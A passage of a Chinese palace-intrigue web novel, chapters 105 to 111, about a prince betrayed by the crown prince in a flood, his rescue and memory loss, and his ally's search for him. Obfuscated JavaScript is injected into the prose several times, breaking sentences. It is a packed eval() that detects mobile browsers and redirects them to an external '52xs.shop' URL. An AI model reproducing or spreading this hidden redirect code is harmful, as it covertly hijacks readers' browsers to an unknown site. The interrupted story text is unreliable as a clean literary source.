车夫认得他,但如今沈聿明不在,太子先前对顾老爷的态度他们也有目共睹,是以并不把文竹放在眼里。 那几个车夫踢了踢地上的糙米,不屑道:“这位大人,如今都忙着逃难,就通融一下又能如何。” 强行被太子扣下,没能去接应自家王爷的他本就心烦,如今还被一个车夫挑衅,文竹的双拳紧了又紧,但到底没有没有挥过去:“你捡还是不捡?” 车夫啐了一声:“我就不捡,主子都不在,你觉得太子会偏袒你还是偏袒我们家老爷?” 手臂被人握住,文竹偏头一看,只见身后之人对他摇了摇头,文竹深深地看了一眼车夫,“滚。” 正好他家王爷找不到由头寻顾家的麻烦,这几个蠢货就自己送上门。 文竹往后瞥了一眼,趁乱招来同伴,将地图塞到他们手中,“等会儿你们找机会溜走,顺着这条路去沥城的王家村,王爷那边还在等着人手,马已经给你们准备好了。” 这几个人是云暮上次送来的人,当时沈聿明留了一个心眼,让他 们乔装打扮成流民,暗中替他办事。也正是因此没有被太子发现。 昨夜他回来时,就做了两手准备,若太子放他走,皆大欢喜,但如果太子想让王爷孤立无援,他也还有后路。 文竹想了想,还是没将昨日手刀的信件交给他们,等余下之人都出了城,他便趁太子不备偷偷溜走。 将地上的糙米连同碎石一并装入袋中后,太子姗姗来迟,“发生了何事?怎么出城的队伍迟迟不动。” 文竹答道:“回太子,方才和顾家的马车撞上,现下便能启程。” 太子勾了勾唇,虚伪道:“若没有你,孤不知该如何是好,等安顿好他们,你便带人去沥城吧。” “是。” 太子转身之际,虚伪的笑意顿收,满目冰冷,心道:沈聿明,休怪孤无情,你死在沥城便是最好。 第一百零五章 遇险 巳时中,王家村的人终于往漓县的方向去了,沈聿明骑马缀在队伍的末尾。 山路湿滑难行,众人走得极慢,他往江城的方向看了一眼,并未窥见文竹等人的身影,他抚了抚腰间的荷包,心中的焦急才缓了几分。 昨日让他随着太子去江城,一是那边还有他们的人,二是他的东西都还在院子里,包括云暮给他写的信,若是被太子发现,只怕会对云暮不利。 临近漓县,沈聿明一行人迎面撞上沥城知府,知府见沈聿明无恙,才终于放心。 “王爷。” 沈聿明往他身后看去,“文竹他们来了吗?” 知府摇头道:“不曾见过,许是江城的事耽搁了。” 正说话间,忽然传来哭喊声,两人对视了一眼,忙上前去查看。 “她还那么小,你们怎么把她忘了!” “不过是一个女娃,没了就没了。” “我要回去找我女儿。” 绝望哭喊的妇人,尖酸刻薄的老妪,还有站在一旁无措的男人。 知府皱眉问道:“发生了何事?” 女人像是看到了主心骨一般,朝着沈聿明和知府哭道:“王爷,大人,前几日为了占到一个好房子,他们母子背着族长偷偷送民妇来了漓县,方才他们说出门太急,忘记把民妇的女儿一并带过来,她才四岁!” 沈聿明温声道:“许是跟着队伍一起来了,本王派人去找找。” 那妇人不住摇头:“民妇找了个遍,就连她的衣物都没有见到,他们是铁了心地要抛弃她!” 人群中有人在窃窃私语。 “这是王二麻子的媳妇?” “正是,听说是二嫁女,还带着一个小拖油瓶,也难怪王二麻子家不肯要……” 沈聿明冷冷地扫了她们一眼,那几个人捂着嘴人群后退去,“本王带人回去看看。” 话音刚落,他就被知府请到一个无人的地方。 知府忙道:“王爷,这可使不得,听说江城如今正下大雨,江渠已经开闸放水,那水已经积攒了一个多月,且堤坝不牢。” 当年漳渠被江渠的堤坝修得如何,知府也是知晓,虽说沥城的泗渠能阻挡一二,但他也不知能拦多久。 一个才四岁的小女孩,死了就死了,无伤大雅,但如果沈聿明因此出事,别说乌纱帽,就连项上人头都难保。 沈聿明看着妇人,闭眼深吸了一口气,“江城那边不会把闸门全开了,此时快马加鞭赶去,应该无碍,只要人上了山路便可无虞,你将他们安顿好,本王去去就回。” 妇人思女心切,试图和他们一同前去找人,“王爷,求您了,让民妇一道吧。” 沈聿明示意守卫将人拉开:“山路难行,你不会骑马,但你放心,本王一定找到你的女儿。” 说罢,他带着侍卫打马折回王家村。 “王爷!” 手中缰绳一勒,马又往前跑了几步后才终于停下,沈聿明看着他们的打扮,眉头紧锁:“怎么只有你们几个,文竹他们呢?” 几人愤愤道:“文竹他们被太子扣下了,说什么都不肯放人,好在属下的身份没有暴露,否则如今说什么也寻不到机会脱身。” 沈聿明再次扬起马鞭:“随本王去王家村。” 那几个新到的都看过地图,轻易就猜出了他的目的地,急忙大声劝阻:“王爷,不可,江渠已经开闸放水,不能再往前了。” 看着不远处的王家村,沈聿明说道:“我们快去快回,有泗渠拦着,应该无碍。” 他也不敢妄言,江城知府一声招呼就擅自开闸放水,如今已经是在和天灾抢时间,一刻也不能再耽搁。 赶到王家村时,众人被眼前之景惊得双目瞪圆,村子旁光溜溜的土山在大雨的冲刷下,将小半个村子的房屋都压垮了,几人站在小土坡上,能看清王家村的一切,也看到了在四处游走的小女孩。 “就是那个小孩。” 金吾卫时刻谨记云暮之言,“王爷,您就在此处,属下去将其带回。” 小女孩见几个凶神恶煞之人骑马朝她奔来,想到娘曾说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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开闸放水,让沈聿明和王家村的人都葬身江水,就算沈聿明侥幸活下,他也能把一整个村的人命扣在对方头上。等人失了民心和帝心,还拿什么和他争? 所以今早离城之前,太子避开沈聿明的人,私下见了知府,吩咐其时间一到就开闸放水。 虽然只死了沈聿明一个,但也足够了。 太子往地上倒了三杯清酒,笑道:“皇弟,一路走好。” 第一百零六章 麝香 云暮正给梁文帝分着奏折,黄如海进来传话:“皇上,贵妃身边的红袖来了,说是贵妃的东西又被人下了毒。” 梁文帝疲惫地揉了揉眉心,自贵妃有孕以来,宫中风波不断,上次相思子和夹竹桃的事才过去多久,又有人管不住自己的手。 “云卿,随朕走一趟。” 长乐宫里,贵妃一如上次,紧紧贴着梁文帝,生怕有谁会当场对她下毒手。 梁文帝不耐地看着皇后,斥责道:“皇后,后宫风波不断,你就是这么管事的?” 皇后半跪在地上,平静道:“皇上恕罪,臣妾没有管好后宫,是臣妾失责,如今臣妾体弱,管理之权还在贵妃手中。” 梁文帝把手臂从贵妃手中抽出,“但你终归是皇后,贵妃月份越来越大,连自身都照顾不好,协理六宫之权还是交还给皇后吧。” 即便在贵妃的计划之内,但就这么还了回去,她多少还是有些不愿意,但也只能应下:“是。” “这次又是何事?” 红袖不知从何处掏出了一个荷包,将里面的东西都倒了出来,一众干药草中,一块紫黑色的东西格外显眼。 云暮突然出声:“麝香。” 贵妃道:“云大人好眼力。” 见梁文帝不接话,她又道:“皇上,这个东西是阮常在今儿送来的,除去荷包,还有几件小孩的衣裳,说是送给臣妾腹中的龙子。” “旁人送来的东西臣妾不敢直用,再加上香味有些刺鼻,于是就找了太医来看,谁想这些东西都被阮常在用麝香熏过,这荷包中更是放了一块麝香。” 说到此处,贵妃眼中的泪水再也蓄不住,一滴一滴往下掉:“皇上,若臣妾日日佩戴,必定滑胎,阮常在她好狠毒的心。” “她一入宫就住在臣妾的宫里,臣妾一日都没有亏待过她,她竟然如此报答臣妾,当真让人心寒。” 云暮冷眼看着她做戏,许氏的事才过了几日,怎会有人这么蠢,挑在这种时候对贵妃下手,她不信这两出戏没有贵妃在背后推波助澜。 而她的最终目的,就是要皇后照看她这一胎,为什么? 证据皆在,梁文帝问道:“人呢?” 虽未明说,但都知道他说的是阮常在。 贵妃回道:“臣妾把人拘在她宫里了,红袖,把人带进来。” 阮常在被一根绳束缚住,嘴里也被塞了一团布,被贵妃身边的太监推搡着往正殿走。 即便是后妃犯错,但帝后没有发话,贵妃竟然不顾阮常在的名节如此待她。 云暮心想,贵妃还真是狂妄。 梁文帝和皇后显然也想到了这一点,脸色瞬间沉了下来,贵妃才发觉坏了事,解释道:“人物证俱在,臣妾怕她咬舌自尽,这才命人堵住了她的嘴,但没让他们把人捆住。” “蠢东西,还不快解开!” 口中的布团才被拿出,阮常在膝行了几步,把头磕得邦邦响:“皇上,皇后娘娘,嫔妾冤枉。” 皇后指着托盘里的东西问道:“这些可是出自你手?” “是,但嫔妾并未用麝香熏衣,还请皇上和皇后娘娘明查,还臣妾一个清白。” 意料之中,云暮带着人去搜了阮常在的寝宫。 阮常在是去年入的宫,贵妃作为皇后之下的第一人,可独住长乐宫,但不知为何,竟让阮常在住了进来。阮常在人如其名,是个软包子,住进来后又事事以贵妃为先,从未听说二人有龃龉。就算想对贵妃下手,也不会如此明目张胆吧? 云暮边想着边带人在寝宫搜了起来,绣架上是一件尚未绣完的外袍,上头的两只彩蝶停在花瓣上,粉翅微开,栩栩如生。 但云暮的视线却被一旁的帕子所吸引,她左右瞥了一眼,趁人不备时,将帕子塞入袖中。 “云将军,找到了。” 一个太监端着一个盒子走了过来,云暮才一打开又将盒子合上了。 再次踏入贵妃的寝宫,云暮突然心口一疼,双眼发黑,若不是身旁的太监扶了她一把,她只怕要栽到地上了。 “来人,给云大人赐座,太医!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太子的声音从门后传来:“孤已经派人去找了,如今三地水患,人心惶惶,此事不宜声张,孤不想在城中听到一些不该出现的消息。” 文竹在外跪了一天一夜都没能让太子改变想法,事到如今,他还有什么不知道的。 毫无预兆的开闸放水,昨儿午间知府突然的登门拜访,城中守卫一个不少,他敛起了恨意,恭敬地应了声是。 甫一出门,他便将剩余之人召集起来,太子拖着他们,无非是怕他们把王爷救起,既然明面上不能做,那他就避着人做。 一张张银票送了出去,一批满珍黄泥的流民推着木板车出了城。 河岸东侧,一匹通体银白的马甩了甩尾巴,低下头咬住衣领,把半个身子都泡在水里的人拖了出来,而后围着这人打转,不时地拱着此人的脸侧。 雨滴虽在变小,但江水还在慢慢上涨,马儿突然警惕地望向一旁的林子,鼻间的呼吸逐渐变重。 宋枫早就听闻沈聿明下了江南,从药王谷离开后,为了不与对方撞上,他特意避开了江城,谁知今日才到沥城,正欲蹚河而过,便察觉情况不对,想到昨儿的大雨,还有人们抱怨上游拦水不放的话,他便重新上了山。 果不其然,没多久,江水奔腾而至,他选的位置很高,好在离河道也远,不知过了多久,忽见前方的水中有东西在翻腾。 但他只瞥了一眼就收回目光,人祸可救,天灾怎避?凭他一己之力不仅无法将人救下,还会搭上自己的一条命。 云暮的恩还未报,他还不想死。 再次从山洞里出来,他一眼便看见了岸边之人,还有那一匹奄奄一息的白马。 他又观察了好一会儿,等白马将人拖出后,才不紧不慢地下山。 越走近越觉得此马眼熟,在看到地上之人的那一刻,宋枫当即想扭头就走,无他,只因那人是沈聿明。 “奔云。” 宋枫咬牙切齿地喊出马儿的名字,大理寺离布政坊不远,沈聿明不时会来布政房找云暮,每次都让他去喂奔云,活像王府没有马粮,一来二去的,奔云也认得了宋枫他们。 奔云奔云,这个云指的谁,他和沈聿明心知肚明!偏偏云暮什么都察觉不到,不过也幸好他察觉不到。 奔云轻嗅了一下来人的气息,确认过是相识之人,低头蹭了蹭宋枫的脸,而后咬住他肩头的衣服,把人拉到河边,两只前蹄跪在粗粝的石头上。 宋枫没有动作,垂头看着地上之人,无声抽出半个剑身。 奔云的耳朵一动,突然站起了身,挡在了两人中间。 这畜生还挺有灵性,宋枫嗤笑了一声,转身折返回山上,旁人之命与他何干?更何况这是沈聿明,他若不在,云暮的视线就会重新回到宋枫他身上,何乐而不为? 没走两步,他又听到了声响,回头一看,发现是奔云正咬着沈聿明的衣服试图把人甩到身上,马蹄和身上的伤口都在渗血,但它还是忍着痛重复着动作。 也不知沈聿明这段时日给它喂的什么,在京城膘肥体壮的奔云,身上银白色的毛锃锃发亮,到江南也就一个月,肚子没有那么圆润也就罢了,还一身的污泥。 从急流中护着主人到岸边,奔云已经疲惫不堪,但此刻主人未醒,它也不敢在留在此地。 在奔云几次都以失败告终后,宋枫冷着张脸又折了回来,背起沈聿明就往山上走,奔云亦步亦趋地跟在他身后,不时用马头抵一下沈聿明的后背。 把沈聿明鼻口中的泥沙都清理干净后,宋枫又去采了一些草药和奔云能吃的草,一人一马,没一个让他省心。 天慢慢暗下,对面远处的山上突然惊现火把,只是火把移动的速度非常慢,宋枫突然站起,摇了摇沈聿明,“王爷,醒醒。” 见他毫无苏醒的征兆,宋枫只能放弃,再次背起沈聿明,他带着奔云从山的另一侧悄悄离去,这地方不能再待了。 太子和沈聿明都在江南,而后者却突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632456|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现在河岸,若不是遇见他,只怕生死难料。从午间到晚上,发生这么大的事,应该早就派人来寻才是,都这么晚了,才想到来找人,其中必定有诈。 他循着记忆把人带到了另一个山头,是他前几日住的地方,离沥城有些距离,明天中午前,太子的人还不找到这里。 天色暗得不见一丝月华,好在他前几日还剩了一捆干柴没用,自制的木门将石洞挡住了一半,没有引起任何人的注意。 沈聿明的衣服湿乎乎地穿在身上,还沾着不少泥巴,宋枫欲脱下他的衣服给他换一身干净的,否则着了寒还是要他照顾。 但一直没有动作的人突然死死地握住腰间上的玉佩还有香囊,怎么也不肯松手。 那块玉佩是云暮亲手所雕,宋枫认得,他原先撒娇央着云暮把玉佩送给他,但云暮没允,反倒是给了他一枚雕了几片枫叶的玉佩,虽雕得歪歪斜斜,但他却觉得哪哪都好。 他私以为这是他和云暮两人的信物,谁想对方二话不说就送给了沈聿明,这叫他如何不恨? 再次抽出剑,奔云虽不像上次那般激动,但还是有些警惕。 剑尖一划,腰带从中间断开,宋枫嫌弃地 把衣服挂在火边的树枝上,又给昏迷不醒的人披了一件新做的外袍。 折腾了一番,宋枫也有些累了,便靠在石壁上沉沉睡去。 睡得正香,身子突然被人推了一下,宋枫猛然惊醒,而后横着剑对着洞口。 外头已经有些光亮,他也看清了推他的东西是奔云。 奔云见人醒了,马蹄不住地往沈聿明的方向扒拉。 宋枫转头看他,又顺手添了几根木柴,借着火光看清了他通红的面庞,额间也是一片滚烫。 宋枫最担心的事情还是发生了。 他从包袱里取出一颗药,塞到了沈聿明的嘴里,又用水打湿布条,贴在他的额上。天光大亮时,沈聿明终于醒了。 “你是谁?” 第一百零八章 重逢 一只灰鸽稳稳当当地停在云暮书房的窗沿,脚边还系着一个不起眼的小竹筒。 云暮伸手取下,拿起一旁的小铁盒喂它吃了几口吃的后,托着它的双腿往上一扔,灰鸽扑棱着翅膀不知飞向了何处。 已经第三天了,江城那边还是没有半点消息,云暮忧心忡忡地打开竹简。 “沈聿明被害,失忆,太子三城搜捕。” 寥寥几字,还是用木炭所书,纸条也被换成了布条,可见情况紧急。 没有落款,但云暮还是一眼就认出是宋枫的字迹,心下焦急,想直接拿着布条冲到勤政殿,但云暮还是忍住了,有宋枫在,沈聿明应该不会有什么大事。 云暮终于冷静,她仿着其中一个金吾卫的笔迹,写了一封密信,于明日早朝送至金銮殿。有文武百官在,梁文帝才不会拒绝她南下的请求。 翌日早朝,金吾卫的密信在群臣的目光下,送至梁文帝的手中。 “报,秦王在沥城被江水卷了去,如今不知所踪。” 此话一出,整个金銮殿哗然,群臣议论纷纷。 “众卿以为此时和解?” “回皇上,太子坐镇江城,兄弟有难,他岂会不管?臣以为将寻找秦王之事交由太子即可。” “生不见人,死不见尸的,太子的人手不过二三十人,等找到人,呵呵。” 后面的话虽然没说,但所有人都猜到了,很快有有人岔开了话题。 云暮出列,躬身道:“皇上,臣自幼在江南长大,对江南地势也还算了解,欲自请南下寻秦王。” 梁文帝见他心急,暗自握住双拳,“有太子在,云卿何须担心?” 云暮跪在地上,诚恳道:“秦王遇险,江南再发水患,太子一人兼顾三城已是分身乏术,再抽身去寻秦王,只怕身子要累垮,臣愿为皇上和太子分忧。” 梁文帝扯了扯嘴角,“若朕不允呢?” 云暮早就料到会有这么一问,她照着昨夜想好的说辞说出:“皇上圣心仁厚,苦寻秦王十载,如今秦王有难,您作为他的父皇,只怕会比臣子更加担忧……” 这番话把梁文帝高高架起,在百官面前,他只能应下。 “云卿这张嘴,真是伶牙俐齿。” 云暮松了一口气。 才下早朝,她正欲回金吾卫召集人手,就被黄如海请去了勤政殿,“云将军,皇上请您走一趟。” 云暮心中焦急,但面上却不显,才踏入勤政殿的门,就听到了两个字。 “跪下。” 云暮一言不发,撩起衣摆跪下下去。 “他遇了难你就这般着急?你是不是忘了是谁把你一手提拔到这个位置的?云暮,你不要一而再再而三地试探朕的底线。” “你平日和他交好,朕也全当看不见,答应给你时间,但没允许你把目光放在旁人身上,哪怕这个人是朕的儿子!” 云暮仰起头,直视天颜,“皇上,臣与秦王交好,不过是志趣相投罢了。” 梁文帝对他是又爱又恨,派去盯梢的人都说二人并无逾矩行为,就算不喜,也无可奈何。 “那是太子同他的事,你这一去,势必会与太子一党他们反目,即便如此,还是要去?” 梁文帝凭着自己挤进了夺嫡之路里,看到密信时,他已经猜到是太子所为。虽说太子已立,但不到最后谁也不知坐上那个位置的人是谁。 云暮侧脸,避开他的动作:“皇上,臣去寻人,不过是不忍看友人命丧黄泉,与夺嫡无关,臣从始至终都是站在您这边。” “若朕执意要他死呢?” 云暮一言不发。 梁文帝被气笑了,他点了点云暮的三山帽,“滚,若此番死在太子手里,那也是他的命,而你也会一并死在江南。” 云暮叩了个头,头也不回地出了宫。 …… 沥城,出城的队伍一眼望不到尾。 宋枫递过两张路引,守城的人狐疑地看着他和一旁的沈聿明,久到宋枫以为要露馅时,守卫终于把人放了过去:“去去去。” 宋枫对他们笑了笑,忙拉着沈聿明和奔云出了城。 沈聿明落水后的第二天,三个城守备森严,进出城门都要有路引,好在他还在金吾卫当差时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632457|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,做了不少路引,此番出来亦随身携带。 就在他们走后,太子的马车停在了城门,守卫笑着上前迎人:“太子殿下,您怎么来了?” 太子在队伍中扫了一眼,突然指着一个身影说道:“把那人抓来。” 守卫把人揪到太子跟前时,这人还是一脸懵懂,“官爷,这……” 太子看了他的脸后,嫌恶挥手,“这几日盯牢些,再多派些人手去河岸两侧搜查,找不到秦王,孤唯你们是问。” 守卫连忙应是,终于把这尊大佛送走了。 又行了半日的路,林中蝉鸣不止,头顶明晃晃的日光照得人双眼发黑。 沈聿明有了脾气:“你要带本王去哪里?” 宋枫四下张望,发现周围无人后,他终于松了口气,“药王谷,治你的脑袋。” 这几日相处下来,他对沈聿明已经没有脾气了,只盼着季川能把人治好。 药王谷外的那几棵柚子树疯狂长着枝桠,点缀着零星的白色花苞,在谷口撒下一片阴影。 “吁。” “吁。” 一人直行,一人从转弯处拐出,两道声音同时响起。 云暮心急如焚,当即骂道:“不……” 话未说完,全卡在了喉咙里,“宋枫?” 视线越过宋枫,落在他身后,看着那人一脸萎靡。即便是易了容,但云暮还是一眼就将人认出,她翻身下马,几步走到奔云身侧:“沈……你觉得怎么样?” 沈聿明垂眸望着面前之人,他歪了歪脑袋,疑惑道:“你是谁?” 云暮握住他的手,把人往下拉了拉:“你真的不记得我了?” 声音很熟悉,沈聿明细细地把人打量了一遍,脑子里的回忆一闪而过,却什么都抓不住,他捂着脑袋倒在马背上,嘴里痛苦地呻吟着。 云暮抬手揉了揉他的太阳穴,“想不起来就别想了,我扶你下来。” 季川听到动静后,手中的竹篮都没来得及放下,“师弟!这位是……” 门从里关上,季川摩挲着下巴,围着沈聿明打转:“这是怎么回事?” 第一百零九章 撒娇 云暮的手搭在沈聿明的耳后,略微一勾,一张人皮面具就出现在她手上。 先前不过是带着面具去了渡春风,不到一个时辰,沈聿明的脸上起了好几个红疹。这几日除去夜间歇息能摘下面具透个气,其余时间都得戴着。 云暮瞧着有些心疼。 “我带他去洗把脸。” 沈聿明虽不记得云暮,但见他态度熟稔,奔云也极听他话,也猜到从前与他的关系应当不错,便顺着对方的动作朝前走去。 听着宋枫之言,云暮的手在沈聿明的头皮轻抚,“许是被水卷走时,头磕到了石头,颅内有淤血压迫,这才叫他忘了人和事。” 对于这种情形,即便云暮和季川是辛百草的弟子,也是束手无策,只能给他开个活血化瘀的方子,等淤血慢慢消去。 “你可有想起什么?” 她这一整日都陪在沈聿明身边,临回房前,云暮冷不丁开口问。 沈聿明茫然地眨了眨眼,解下腰间的玉佩和香囊,“什么都想不起,只记得这两样东西对我来说很重要,是你送给我的吗?” 今日初见云暮,他便有一种熟悉感,但又什么都想不起,直觉告诉他,这两样东西和面前之人有关。 手背被刮伤的地方已经掉痂,而玉佩这等易碎之物不曾有过破损,可见主人将它护得很好,香囊亦是。 云暮的指尖划过玉佩,鼻头微酸,将玉佩和香囊重新挂回他腰上,“不记得也无妨。” 总归还有时间等他慢慢想起。 只在药王谷待了两日,云暮便带着沈聿明折去了江城,几十人的队伍中突然多出一个,也不会惹的旁人起疑。 绿树浓荫,但遮不住赶路人。 沈聿明的手搭在脸上挠了挠,低声抱怨:“闷。” 前几日比如今的还要闷,他都一声不吭地忍下了,只是如今云暮在他身旁,总是忍不住想让对方的注意力都放在他身上。 沈聿明摸了摸心口,心道,难不成他成了断袖?但一想到是云暮,好像也没有那么难以接受。 云暮递给他一个斗笠,待他戴好后,又给了他一把折扇,“这个已经很薄了,再忍忍,等晚些时候到了客栈再撕掉。” 她的人皮面具做得比宋枫的要薄上不少,但到底还是不透气。 从云暮开口时起,周围的人都低下了头,退避三尺,云暮斜了他们一眼,替沈聿明理了理歪了的斗笠。 “走吧。” 堤坝早前就是勉力支撑,闸口才开,就已经被冲毁,积攒许久的水绵延不绝,被损毁的房屋稻田不计其数。 云暮到江城时,知府早早得了消息侯在城门口,他的双眼滴溜转个不停,“下官见过云将军。” 云暮手中的马鞭落在他的官帽上:“怎么,本将军的人里是被混进了什么人吗,值得知府大人这般上心?” 知府忙收眼垂手,笑道:“怎会,只是下官头一回见金吾卫,觉得稀奇。” 云暮也笑了起来,把马鞭在手上盘成圈,“哪天本将军带着金吾卫抄了你的宅子,就不觉得稀奇了。” 知府连忙求饶:“云将军说笑了,这可使不得。” 城中的鸽子他们见一只打一只,信才传回京城几天,他怎么这么快就带人来了? “臣见过太子殿下。” 云暮抬眸时,将院中的一切收进眼底,没有发现文竹的踪迹。 太子指着一旁的座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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太子提笔写着奏折,闻言,道:“让我们的人务必在云暮之前找到沈聿明,他现下没有武器傍身,把人杀了,在把罪名扣到云暮头上。” 侍卫有些犹豫:“云将军素来和秦王交好,此次也是自请南下,身边跟的金吾卫,且文竹也片刻不离他身,怕是不好下手。” 太子将笔丢在桌上,“那便将其溺死在水中,再丢进河道里。” 沈聿明身死,云暮必定记恨他,如果对方因此站队梁承熙,那他就得不偿失了,所以,云暮的命也得留下,只是还需再做计划。 太子轻敲桌面,忽而眼睛一亮,对侍卫招了招手,低声道:“这样,你们……” 侍卫拱手道:“属下一定把此事办好,绝对不会走漏半句风声。” 天色已晚,伸手不见五指的山上,云暮举着火把回了江城,一行人找了大半日,却连一个脚印都没给发现。 太子也恰好从外头回来,看着云暮身后的那个侍卫,不免起了疑心:“云大人,孤记得侍卫的住所和主子的不是在一处?” 说罢,他又往“侍卫”的腰间看去,发现上头除了一枚金吾卫的令牌之外,再无其他,但他还是没有放下戒心。 云暮“噢”了一声,勾了勾“侍卫”的下巴,“砚石他们没空来,身旁没个伺候的人也不行,于是臣便从金吾卫挑了一个模样周正的,太子也有兴趣?” 说完,又欲盖弥彰地解释道:“不过只是照顾臣的起居,殿下莫要误会。” 太子面色一僵,心忖:这阉货行事当真恶心,出来寻人还不忘寻乐,从前怎没发现他还有这种癖好? “不用了。” 一进门,云暮就被人反压在门上,沈聿明不满地问道:“砚石他们是谁?他们会这样对你吗?” 说罢,他蹭了蹭云暮的面颊。 醋意快把整个屋子都给腌酸了,云暮屈指敲了敲他的脑袋,笑道:“胡思乱想什么,砚石是我的小厮,你也认得,我留他在京城照看十五。” “十五?”沈聿明喃喃自语,试图从空白的记忆里回想往事。 记忆碎片如走马灯似的一闪而过,沈聿明捂着头闷哼了一声,“头疼。” 云暮把人扶到榻上,给他揉着额角:“想不起来就别为难自己了。” 沈聿明环着她的腰,好一会儿才仰头看她:“云暮,我好像想起了一点。” 云暮捧着他的脸,神色有些紧张:“想起什么了?” 沈聿明覆上了她的手,委屈道:“我们在雪夜舞剑,但是你跑了,还一整天都不理我。” 云暮脸一热,手指也不自然地蜷缩,她结巴道:“还……还有吗?” 沈聿明双眼微眯,笃定道:“你脸怎么红了?” 云暮想撤回手,却被他握得更紧,而后被人往前一带,跌入榻上人的怀里。 她一手撑在榻上,一手垫在沈聿明的脑后,恼怒道:“沈聿明,你做什么!” 沈聿明咧嘴一笑:“撞一下,没准就能快点恢复记忆呢。” 云暮掐住他的脸,四目相对,问道:“你是不是都记起来了?” 沈聿明无辜地瞪着双眼,“没有,就记得方才那一件事。”说罢,他举起右手发誓:“若我说半句假话……” 云暮捂住他的嘴:“我信,别乱发誓。” 从他身上退下,云暮皱着鼻子嗅了嗅身上的气味,在外头忙活了一天,怪难闻的。 是夜,清冷月光从窗户倾泻,夏夜闷热,即便是打着扇,额上还是多了一层薄汗。 云暮正要把人赶到隔壁,门外响起叩门声,她把人推进去,反手关上了门:“谁?” “大人,是我。” 是文竹的声音。 云暮将人放了进来,“这么晚了,发生了何事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632459|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大人,方才属下看见太子的侍卫鬼鬼祟祟地搬着东西,于是跟上去看了一眼,虽然没敢上前,但闻到了硫磺还有硝石的味道。” 硫磺和硝石都是制火药的原料,太子的人拿这些来做什么?但总归不是炸山堵水,太子要真的关心三城的百姓,就不会到如今也发现不了堤坝的问题。 云暮百思不得其解:“你派几个眼生的人去监视那群人,有什么动作及时来禀。” 翌日一早,云暮又早早带了人出去,再次回来时已经夜色四合,今天扩大了搜寻的范围,找到了一片衣角,经文竹和那日见过沈聿明的人辨认,确定是沈聿明的衣物无疑。 太子抓着衣角,宛如它是什么失而复得的宝贝,嘴角的笑意从未断过,但双眸却是一片寒凉。 “加快速度,火药务必在这两天内制成,孤要他们死!” 两天后,云暮才把沈聿明送到宋枫说的地方,江城的一个守卫突然来报:“云将军,听说有人在江渠附近见过王爷。” 云暮一把揪住来人的衣领:“此话当真?” 守卫一个劲地点头:“小的怎敢 拿此事欺瞒将军。” 云暮沉思了片刻,望向了水流的方向:“当日水势湍急,按理说人应该被冲到下面才对,怎么会出现在江渠?” 守卫照着太子教给他的话术当做猜测说出,果不其然,云暮策马直奔江渠,守卫在心里暗夸太子神机妙算。 才走不久,云暮又折了回来,守卫紧张地揪着衣袖:“将军,怎么了?” 云暮笑笑:“无事,只是想到太子甚是挂念秦王,你速速回去告知殿下,本将军就在江渠等他一同接回秦王。” 守卫无法,只能应下。 太子来回踱步:“他当真是这么说的?” “是。” 罢了,他也知晓火药埋藏的地方,到时让人把云暮往那边引,还能摆脱他的嫌疑,若是事发,还能洗清疑点。 “备车。” 这一次,云暮必死无疑! 第一百一十一章 上药 云暮踩着松软的黄泥,眯眼望着山上之景,靠着江渠的这一面,只剩黄土,树不论大小全被人连根拔了去。若火药埋在此处,引线一燃,山上之人就会顺着坡往下滚,最后落进江渠。 太子真是好谋算。 “云大人在看什么?” 云暮目光未收,指着光秃秃的山说道:“大梁律法曾说,只能伐五年以上的树,且官员百姓不得私自伐木,这山大半边的树都被人连根拔起,知府还真是不把律法放在眼中。” 太子道:“云大人还担起巡抚一职了。” 云暮言辞切切:“为皇上分忧,是下官为臣子的本分,况且堤坝被毁,如今正是需要良木的时候,若因此延误了时机,岂不是害了江城的百姓?” 